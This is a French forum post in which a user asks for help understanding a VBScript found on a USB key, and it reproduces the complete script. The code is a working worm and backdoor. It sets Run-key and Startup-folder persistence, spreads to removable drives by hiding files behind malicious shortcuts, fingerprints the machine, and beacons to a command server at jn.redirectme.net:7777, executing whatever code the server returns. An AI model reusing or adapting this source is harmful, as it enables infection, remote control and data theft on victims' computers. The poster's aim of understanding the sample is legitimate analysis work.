Script VBS malware

[Mohand52]

Pourriez-vous me déchiffrer ce script VBS d'un malware que j'ai trouvé sur une clé USB:

 

'<[ coded bY njq8 ]>'

On Error Resume Next

dim sh ' shell

set sh =WScript.CreateObject("WScript.Shell")

dim fs ' filesystem

set fs= CreateObject("Scripting.FileSystemObject")

dim host

host="jn.redirectme.net"

dim port

port=7777

dim DR ' install dir

DR = sh.ExpandEnvironmentStrings("%temp%") & "\"

dim FN ' script file name

FN ="Serviecs.vbs"

 

dim fh ' file handle

 

ins

 

dim spl

spl="jnJnj"

dim i

i=0

while true

dim a

a= split(post("ready",""),spl)

select case a(0)

case "exc"

dim sa

sa= a(1)

execute sa

case "uns"

uns

end select

wscript.sleep 4000

i = i + 1

if i> 2 then

i=0

xins

end if

wend

 

 

function ins

on error resume next

Err.Clear

fs.CopyFile wscript.scriptfullname,dr & fn ,true

set fh = fs.OpenTextFile( dr & fn, 8, false)

if Err.Number>0 then

wscript.quit

end if

xins

end function

 

sub xins

on error resume next

sh.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" & fn, chrw(34) & dr & fn & chrw(34), "REG_SZ"

sh.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" & fn, chrw(34) & dr & fn & chrw(34), "REG_SZ"

fs.copyfile wscript.scriptfullname, CreateObject("Shell.Application").NameSpace(&H7).Self.Path &"\" & fn ,true

 

for each xx in fs.Drives

 

if xx.isready then

if xx.FreeSpace >0 then

if xx.drivetype=1 then

if fs.fileexists(xx.path & "\" & fn) then

fs.getfile(xx.path & "\" & fn).Attributes=0

end if

fs.copyfile dr & fn , xx.path & "\" & fn,true

For Each x In fs.GetFolder( xx.path & "\" ).Files

wscript.sleep 1

if instr(x.name,".") then

if lcase( Split(x.name, ".")(UBound(Split(x.name, "."))))<>"lnk" then

x.Attributes = 2

 

if ucase(x.name) <> ucase(fn) then

 

With sh.CreateShortcut(xx.path & "\" & x.name & ".lnk")

 

.TargetPath = "cmd.exe"

.WorkingDirectory = ""

.Arguments = "/c start " & Replace(fn," ", ChrW(34) _

& " " & ChrW(34)) & "&start " & replace( x.name," ", ChrW(34) & " " & ChrW(34)) & " & exit"

.IconLocation = sh.regread("HKLM\SOFTWARE\Classes\" & sh.regread("HKLM\SOFTWARE\Classes\." & Split(x.name, ".")(UBound(Split(x.name, "."))) & "\") & "\DefaultIcon\")

if instr( .iconlocation,",")=0 then

.iconlocation = .iconlocation &",0"

end if

.Save()

end with

end if

end if

end if

 

Next

end if

end if

end if

next

Err.Clear

end sub

 

function uns

on error resume next

fh.close

sh.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" & fn

sh.RegDelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" & fn

fs.DeleteFile dr & fn ,true

fs.DeleteFile CreateObject("Shell.Application").NameSpace(&H7).Self.Path &"\" & fn ,true

 

for each xx in fs.Drives

if xx.isready then

if xx.FreeSpace >0 then

For Each x In fs.GetFolder( xx.path & "\").Files

On Error Resume Next

if instr(x.name,".") then

if lcase( Split(x.name, ".")(UBound(Split(x.name, "."))))<>"lnk" then

x.Attributes = 0

 

if ucase(x.name) <> ucase(fn) then

fs.deletefile(xx.path & "\" & x.name & ".lnk" )

else

fs.deletefile( xx.path & "\" & x.name )

end if

end if

end if

Next

end if

end if

next

wscript.quit

end function

 

 

 

 

 

 

 

 

function post(cmd ,da)

post=""

 

Dim o

Set o = CreateObject("MSXML2.XMLHTTP")

o.open "POST","http://" & host & ":" & port &"/" & cmd, false

o.setRequestHeader "User-Agent:", inf

o.send da

post=o.responseText

end function

 

 

 

 

 

 

 

 

 

 

dim xinf

function inf

on error resume next

if xinf="" then

dim s

s="??"

s = hwd

inf = inf & s & "\"

s="??"

s= sh.ExpandEnvironmentStrings("%COMPUTERNAME%")

inf = inf & s & "\"

s="??"

s= sh.ExpandEnvironmentStrings("%USERNAME%")

inf = inf & s & "\"

s="??"

Set a = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")

Set aa = a.ExecQuery ("Select * from Win32_OperatingSystem")

For Each aaa in aa

s= aaa.Caption

exit for

Next

inf = inf & s & "\\0.1\" & pid

xinf=inf

else

inf=xinf

end if

end function

 

 

 

function HWD

on error resume next

Set a = GetObject("winmgmts:\\.\root\CIMV2")

Set aa= a.ExecQuery( _

"SELECT * FROM Win32_ComputerSystemProduct",,48)

For Each aaa in aa

hwd = replace(aaa.IdentifyingNumber," ","")

Next

end function

 

Function MTX

on error resume next

Dim oProcesses

Dim oProcess

Dim iProcCount

Set oProcesses = GetObject("winmgmts:\\.\root\cimv2").ExecQuery( _

"Select * from Win32_Process where Name='cscript.exe' or Name='wscript.exe'",,48)

For Each oProcess in oProcesses

If Instr(1, oProcess.CommandLine, "\" & WScript.ScriptName, 1) > 0 Then

iProcCount = iProcCount + 1

End If

Next

MTX = (iProcCount > 1)

End Function

Function PID

PID=0

on error resume next

PID = GetObject("winmgmts:root\cimv2").Get("Win32_" &_

"Process.Handle='" & _

sh.Exec("mshta.exe").ProcessID & "'").ParentProcessId

End Function